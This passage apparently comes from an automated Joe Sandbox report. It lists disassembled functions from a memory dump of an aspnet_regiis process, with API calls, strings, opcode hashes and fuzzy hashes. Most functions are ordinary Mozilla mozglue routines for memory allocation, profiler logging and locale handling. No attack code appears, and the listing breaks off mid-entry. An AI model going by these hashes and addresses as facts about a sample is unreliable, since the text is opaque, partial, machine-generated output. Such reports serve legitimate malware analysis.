API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 1f608718859e4ff797bcca2071656c297c93821aa4db79a03c5fa8bc1161ce2b
Instruction ID: d60cddcca65b78fc476f789b066540c2b63bf210f53e75a632141ce8960edcbd
Opcode Fuzzy Hash: 1f608718859e4ff797bcca2071656c297c93821aa4db79a03c5fa8bc1161ce2b
Instruction Fuzzy Hash: D641AF707002058FCB14DF68D9DDAAE7BF9EF49318F148078E5169B781DB34A806CBA1

Function 6C7CCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C7931A7), ref: 6C7CCDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C7CCFA4, 6C7CCFB8
<jemalloc>, xrefs: 6C7CCF9F, 6C7CCFB3

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: ab81a1c8ba253959546d7294857d48dfdef450c4419de86cad0d8596662ee24c
Instruction ID: f4adcf3290d588cc5a7ed6af92f837f182db086d5ac74fd77b58d92f36e97348
Opcode Fuzzy Hash: ab81a1c8ba253959546d7294857d48dfdef450c4419de86cad0d8596662ee24c
Instruction Fuzzy Hash: 7131C5717442075FFB20AFA58E46B6E7BB9AB46719F204425F615ABF80DB70D400C7A2

Function 6C79ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C79F100: LoadLibraryW.KERNEL32(shell32,?,6C80D020), ref: 6C79F122
Part of subcall function 6C79F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C79F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C79ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C79EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C79EDCC
CreateFileW.KERNEL32 ref: 6C79EE08
free.MOZGLUE(00000000), ref: 6C79EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C79EE32

Part of subcall function 6C79EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C79EBB5
Part of subcall function 6C79EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C7CD7F3), ref: 6C79EBC3
Part of subcall function 6C79EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C7CD7F3), ref: 6C79EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C79EDC1

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: d6e7f2c5a1aeab7e0f7ed30072f12fe9a76d14928cbfabf65d7f36aefc8de929
Instruction ID: 50c31f3393f362f786a012bcf253bd3a2a7a0899403b7b3d8c6e1898bc50e407
Opcode Fuzzy Hash: d6e7f2c5a1aeab7e0f7ed30072f12fe9a76d14928cbfabf65d7f36aefc8de929
Instruction Fuzzy Hash: 3C51D471D052088BEB10DF68EA497EEB7B4BF55318F04852DE85567740E7316948C7E2

Function 6C80A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C80A565

Part of subcall function 6C80A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C80A4BE
Part of subcall function 6C80A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C80A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C80A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C80A6B6

Strings

z, xrefs: 6C80A6AE
0, xrefs: 6C80A5FB

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 26be795e0c22d0b95412beb9658b0cb5452fab12818ce3634a4023984d81b405
Instruction ID: a832407c6d264255c25194fd896d6199c0d87534bd9b78d8708d78ca67d07413
Opcode Fuzzy Hash: 26be795e0c22d0b95412beb9658b0cb5452fab12818ce3634a4023984d81b405
Instruction Fuzzy Hash: 11411871A097459FC351DF28C580A8BBBF5BF89354F408A2EF4A987650E730D949CB93

Function 6C7D9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C7CAB89: EnterCriticalSection.KERNEL32(6C81E370,?,?,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284), ref: 6C7CAB94
Part of subcall function 6C7CAB89: LeaveCriticalSection.KERNEL32(6C81E370,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C7CABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7A4A68), ref: 6C7D945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7D9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7D9482
__Init_thread_footer.LIBCMT ref: 6C7D949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C7D946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C7D947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C7D9459

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 2e4d08df97d1fe432e9e4d8592595147e4980982228e07f55db41d4c5dcf7386
Instruction ID: 9fa738fdf514ce1ca97ca7e4b0b52bc608cd17f691886878a9b60e6bc17fad7b
Opcode Fuzzy Hash: 2e4d08df97d1fe432e9e4d8592595147e4980982228e07f55db41d4c5dcf7386
Instruction Fuzzy Hash: CD01D870A041038FE720DB9DEB26A4733F59B2632EF054937E91E87F42DA21E554C997

Function 6C7E0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7E0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C7E0F88
GetCurrentThreadId.KERNEL32 ref: 6C7E0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C7E1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C7E10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C7E114B

Part of subcall function 6C7D8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C7F1563), ref: 6C7D8BD5

free.MOZGLUE(?), ref: 6C7E1174
free.MOZGLUE(?), ref: 6C7E1186

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 94a04d84b6a6065443662ad5429d8c38d048e5e7fcfd39ba557628c7531f70a7
Instruction ID: 5f5c1d42a55771a2d7e5d26095c48e84803e153f2430652d7825397123f13a50
Opcode Fuzzy Hash: 94a04d84b6a6065443662ad5429d8c38d048e5e7fcfd39ba557628c7531f70a7
Instruction Fuzzy Hash: 1E6105766043459FDB10CF25DA8879AB7F5BFC9308F04892DE88947712EB31E949CB82

Function 6C79B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C79B61E,?,?,?,?,?,00000000), ref: 6C79B6AC

Part of subcall function 6C7ACA10: malloc.MOZGLUE(?), ref: 6C7ACA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C79B61E,?,?,?,?,?,00000000), ref: 6C79B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C79B61E,?,?,?,?,?,00000000), ref: 6C79B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C79B61E,?,?,?,?,?,00000000), ref: 6C79B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C79B61E,?,?,?,?,?,00000000), ref: 6C79B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C79B61E), ref: 6C79B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C79B61E,?,?,?,?,?,00000000), ref: 6C79B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C79B61E,?,?,?,?,?,00000000), ref: 6C79B79A

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 59e101a9ffa8307d751b3cedb255ed2dc4d7f790114b1e1101f1b1017ded62ac
Instruction ID: 0c7d1fce1122575980100adfb6d0c832127bf9a661a873d6660bec771f75c99f
Opcode Fuzzy Hash: 59e101a9ffa8307d751b3cedb255ed2dc4d7f790114b1e1101f1b1017ded62ac
Instruction Fuzzy Hash: 0841D4B2D001159FCB20DF78ED846AEB7B5BB54324F25072AE825E7781E731B90487E1

Function 6C79EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C815104), ref: 6C79EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C79EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C79EFEC
free.MOZGLUE(?), ref: 6C79F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C79F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C79F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C79F065
moz_xmalloc.MOZGLUE ref: 6C79F072

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 2fbf4a4a7791a98afe7afa57a611f19c04866ae22ec1f8c851669779eddca2d3
Instruction ID: f1462cc5b4a25358094723fb45f521a78fee5ac13003a60a17fe647ce3517b1b
Opcode Fuzzy Hash: 2fbf4a4a7791a98afe7afa57a611f19c04866ae22ec1f8c851669779eddca2d3
Instruction Fuzzy Hash: 9941D5B1A002059FCB18CF68ED849AE7769BF84324B24063DE816DB795EB31E915C7E1

Function 6C80B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C80B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C80B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C80B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C80B5F4
__Init_thread_footer.LIBCMT ref: 6C80B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C80B61F
std::_Facet_Register.LIBCPMT ref: 6C80B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C80B655

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: fe325d99693a9033aa77e45b7b39b3259564bb5059323c181f6c63cbdd3fb70e
Instruction ID: 6b5306441298d96cfe58772241a9efed4acb7f723c5b9b76e59c79752b6ae632
Opcode Fuzzy Hash: fe325d99693a9033aa77e45b7b39b3259564bb5059323c181f6c63cbdd3fb70e
Instruction Fuzzy Hash: C531C3B1B001068FCB20DF69C9599BEB7F5EF8532AF100965D50297B40CB30A806CBD1

Function 6C7CD5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C79EB57,?,?,?,?,?,?,?,?,?), ref: 6C7CD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C79EB57,?), ref: 6C7CD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C79EB57,?), ref: 6C7CD673
free.MOZGLUE(?), ref: 6C7CD888

Strings

|Enabled, xrefs: 6C7CD81E
Wyl, xrefs: 6C7CD5D9, 6C7CD63F

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wyl$|Enabled
API String ID: 4142949111-2569927531
Opcode ID: bb87696494be5b4b958b0fef589f6f5da971147031b1eb7dc82b1d57d50b8916
Instruction ID: 884f0327ef841d306b1ac610595cf72d674eb1d568a52e97b87c41e024f6ed91
Opcode Fuzzy Hash: bb87696494be5b4b958b0fef589f6f5da971147031b1eb7dc82b1d57d50b8916
Instruction Fuzzy Hash: A9A127B0B0430A8FDB11CF69C5C47AEBBF1AF59318F14806CD8996BB41D731A845CBA6

Function 6C7A9830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C7F7ABE), ref: 6C7A985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C7F7ABE), ref: 6C7A98A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C7A9909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C7A9918
free.MOZGLUE(?), ref: 6C7A9975

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 9cda9d0360cd5f3593e3e46ad103e0ca06bc0c987dc81a3eb8a7bd65a18ef36d
Instruction ID: 011679b24599e597ffdbdc0e8304afaa09ae90c836f16c4df6a2b178b8855afb
Opcode Fuzzy Hash: 9cda9d0360cd5f3593e3e46ad103e0ca06bc0c987dc81a3eb8a7bd65a18ef36d
Instruction Fuzzy Hash: 4271CE746007058FC728CF68C580A56BBF0FF9A3247244B6DE85A8BBA1D732F812CB50

Function 6C7AB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C7ECC83,?,?,?,?,?,?,?,?,?,6C7EBCAE,?,?,6C7DDC2C), ref: 6C7AB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C7ECC83,?,?,?,?,?,?,?,?,?,6C7EBCAE,?,?,6C7DDC2C), ref: 6C7AB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C7ECC83,?,?,?,?,?,?,?,?,?,6C7EBCAE), ref: 6C7AB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C7ECC83,?,?,?,?,?,?,?,?,?,6C7EBCAE,?,?,6C7DDC2C), ref: 6C7AB896

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: ef3cda3827cdf31b10709fa49d0093ca13d21e1c10ea068e7996627102221bd1
Instruction ID: ca9b3539bb41404f3cf9bcd005fb32af4015884c188062265b2899b5085889d1
Opcode Fuzzy Hash: ef3cda3827cdf31b10709fa49d0093ca13d21e1c10ea068e7996627102221bd1
Instruction Fuzzy Hash: 51516C757006048FDB28CF99C694A7ABBF5FF89318B69866DD98687741C731F802CB80

Function 6C7E1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7E1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C7E1BE3,?,?,6C7E1D96,00000000), ref: 6C7E1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C7E1BE3,?,?,6C7E1D96,00000000), ref: 6C7E1D4C
GetCurrentThreadId.KERNEL32 ref: 6C7E1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C7E1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7E1DDA

Part of subcall function 6C7E1EF0: GetCurrentThreadId.KERNEL32 ref: 6C7E1F03
Part of subcall function 6C7E1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C7E1DF2,00000000,00000000), ref: 6C7E1F0C
Part of subcall function 6C7E1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C7E1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C7E1DF4

Part of subcall function 6C7ACA10: malloc.MOZGLUE(?), ref: 6C7ACA26

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: b1cbd3abdde9ad939e60b234f1dcc25b986c2e992ed79260bfc5ec1a828e2b50
Instruction ID: ddd927fb647bd005ba78eb6aad2a5af995b867ba2f028e64c9c6b06090ab2da5
Opcode Fuzzy Hash: b1cbd3abdde9ad939e60b234f1dcc25b986c2e992ed79260bfc5ec1a828e2b50
Instruction Fuzzy Hash: 6B4159B52007019FCB24DF29C58AA66BBF9FB49318F10442EE95A87B42CB71F854CB91

Function 6C7D84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7D84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7D850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7D851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7D855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7D856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7D85AC

Part of subcall function 6C7D7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C7D85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7D767F
Part of subcall function 6C7D7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C7D85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7D7693
Part of subcall function 6C7D7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C7D85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7D76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7D85B2

Part of subcall function 6C7B5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C7B5EDB
Part of subcall function 6C7B5E90: memset.VCRUNTIME140(6C7F7765,000000E5,55CCCCCC), ref: 6C7B5F27
Part of subcall function 6C7B5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C7B5FB2

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: e40a6854c01631430c042f6cccc029a5babd0623750fa6d2d362a820eb6d9391
Instruction ID: ac8b45a29e1e8537cd3260a78d6a788e7e2f0ad606ed09fe51ddbe185414c562
Opcode Fuzzy Hash: e40a6854c01631430c042f6cccc029a5babd0623750fa6d2d362a820eb6d9391
Instruction Fuzzy Hash: 4E219F742006019FDB24DB28C988A6AB7F5AF4430DF25483DE55BC7B41DB31F948CB91

Function 6C7A1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

